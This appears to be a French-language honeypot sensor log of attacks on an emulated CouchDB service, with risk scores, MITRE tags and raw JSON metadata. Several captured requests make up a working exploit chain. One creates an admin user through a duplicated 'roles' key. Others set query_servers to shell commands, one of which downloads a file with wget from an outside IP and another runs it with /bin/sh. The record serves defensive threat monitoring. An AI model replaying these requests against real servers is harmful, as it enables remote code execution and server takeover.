Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /_config/query_servers/aifnszvq HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 237 Authorizati Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray LFI Double-dot bypass User-Agent — Règles WAF — Payload (extrait) PUT /_config/query_servers/aifnszvq HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 237 Authorizati Requête brute (extrait) PUT /_config/query_servers/aifnszvq HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 237 Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Content-Type: application/json "echo '(wget -qO /tmp/.kimhutgv http://31.56.209.86/l_couc Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":435,"payload_entropy":5.429651961079979,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":25,"risk_boost":20,"risk_granularity":2.3,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":25},"risk_score":52,"tag_count":6,"anomaly_count":0,"campaign_key":"3d3badeac3eff8e05f9cf669b4f809623c479b81","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463","pat-0103"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray","LFI Double-dot bypass"],"pattern_ids":["pat-0842","pat-0463","pat-0103"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":25,"risk_score":52},"named_c…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde CouchDB couchdb probe · via COUCHDB:5984 · (sonde / probe)	Élevée	Faible · 34
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0007 TA0007 TA0001 Protocole Émulateur COUCHDB WAF — Recommandation Surveiller Tags couchdb_emulated couchdb_payload http_get_probe net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload GET /_membership HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Pourquoi cette classification : Type « Sonde CouchDB » (signaux protocolaires) · confiance 0% Confiance classification 0% Risque capteur Faible · 34 Confiance : Confiance 0 % — 4 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 Motifs de détection (base) Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) GET /_membership HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Authorization: Basic YWl4dHhtbjpxcXpleWJlbGpp Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":126,"payload_entropy":5.320135631178368,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":54,"risk_behavior":0,"risk_geo":0,"risk_protocol":40,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":40,"novelty":15},"risk_score":34,"tag_count":4,"anomaly_count":0,"campaign_key":"b9cfd159ba211c85f74ecb49bfdc67c2c17a2f04","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab couchdb_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%","confidence":0,"classification_confidence":0,"precision_score":0,"precision_signals":[],"kb_rule_ids":[],"matched_patterns":["pat-0463"],"matched_pattern_names":["Cred Basic auth spray"],"pattern_ids":["pat-0463"],"confidence_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":40,"novelty":15,"risk_score":34},"named_classification_skipped":false,"service_name":"couchdb","risk_confidence_factor":0,"city":null,"is_datacenter":false,"is_tor_hint":f…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde CouchDB couchdb probe · via COUCHDB:5984 · (sonde / probe)	Élevée	Moyen · 48
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE T1046 TA0007 TA0001 Protocole Émulateur COUCHDB WAF — Recommandation Surveiller Tags couchdb_emulated couchdb_payload couchdb_probe net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /_users/org.couchdb.user:aixtxmn HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 86 Content-Typ Pourquoi cette classification : Type « Sonde CouchDB » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 48 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux Infra Couchdb Db Upstream Technique MITRE T1046 Tactiques MITRE TA0007 TA0001 Motifs de détection (base) CRS 921130 duplicate CL User-Agent — Règles WAF — Payload (extrait) PUT /_users/org.couchdb.user:aixtxmn HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 86 Content-Typ Requête brute (extrait) PUT /_users/org.couchdb.user:aixtxmn HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 86 Content-Type: application/json {"type":"user","name":"aixtxmn","roles":["_admin"],"roles":[],"password":"qqzeybelji"} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":237,"payload_entropy":5.259364693234546,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":54,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":48,"tag_count":4,"anomaly_count":0,"campaign_key":"e88e9a04aae23c4ccb1efacc9a66522c2ffab5d1","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab couchdb_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":87,"precision_signals":["INT-INFRA-couchdb-db","INT-upstream"],"kb_rule_ids":["INT-INFRA-couchdb-db","INT-upstream"],"matched_patterns":["pat-0842"],"matched_pattern_names":["CRS 921130 duplicate CL"],"pattern_ids":["pat-0842"],"confidence_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":48},"named_classification_skipped":false,"service_name":"c…
18/10/2026 18:34:42 UTC	TCP	5984 · COUCHDB	couchdb	Sonde CouchDB couchdb probe · via COUCHDB:5984 · (sonde / probe)	Élevée	Faible · 34
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0007 TA0007 TA0001 Protocole Émulateur COUCHDB WAF — Recommandation Surveiller Tags couchdb_emulated couchdb_payload http_get_probe net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload GET / HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Pourquoi cette classification : Type « Sonde CouchDB » (signaux protocolaires) · confiance 0% Confiance classification 0% Risque capteur Faible · 34 Confiance : Confiance 0 % — 4 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET / HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":68,"payload_entropy":4.8443845322359165,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":54,"risk_behavior":0,"risk_geo":0,"risk_protocol":40,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":40,"novelty":15},"risk_score":34,"tag_count":4,"anomaly_count":0,"campaign_key":"b9cfd159ba211c85f74ecb49bfdc67c2c17a2f04","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab couchdb_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%","confidence":0,"classification_confidence":0,"precision_score":0,"precision_signals":[],"kb_rule_ids":[],"confidence_breakdown":{"waf":8,"classification":54,"behavior":0,"geo":0,"protocol":40,"novelty":15,"risk_score":34},"named_classification_skipped":false,"service_name":"couchdb","risk_confidence_factor":0,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"NL","asn":209373,"org":"Swissnet LLC","is_datacenter":false,"is_tor_hint":false},"fing…
18/10/2026 15:49:17 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /ifhjjsgk/_design/scyjizft HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /ifhjjsgk/_design/scyjizft HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Requête brute (extrait) PUT /ifhjjsgk/_design/scyjizft HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Basic YWV5Zm5jdDpkZGFjdnRoc2lp Content-Type: application/json {"language":"scyjizft","views":{"v":{"map":""}}} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":240,"payload_entropy":5.435912623194105,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 15:49:17 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload POST /ifhjjsgk/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) POST /ifhjjsgk/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Requête brute (extrait) POST /ifhjjsgk/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Basic YWV5Zm5jdDpkZGFjdnRoc2lp Content-Type: application/json {"language":"scyjizft","map":""} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":227,"payload_entropy":5.478606315866295,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 15:49:16 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe redis_config_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /_config/query_servers/scyjizft HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorizatio Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray CRS 932205 User-Agent — Règles WAF — Payload (extrait) PUT /_config/query_servers/scyjizft HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorizatio Requête brute (extrait) PUT /_config/query_servers/scyjizft HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorization: Basic YWV5Zm5jdDpkZGFjdnRoc2lp Content-Type: application/json "/bin/sh /tmp/.drdwxqyugu" Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":223,"payload_entropy":5.437936218894877,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":4,"anomaly_count":0,"campaign_key":"a64e32fb4d2c8ceecf2a6ebd4251202dcbea3d83","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463","pat-0146"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray","CRS 932205"],"pattern_ids":["pat-0842","pat-0463","pat-0146"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classificatio…

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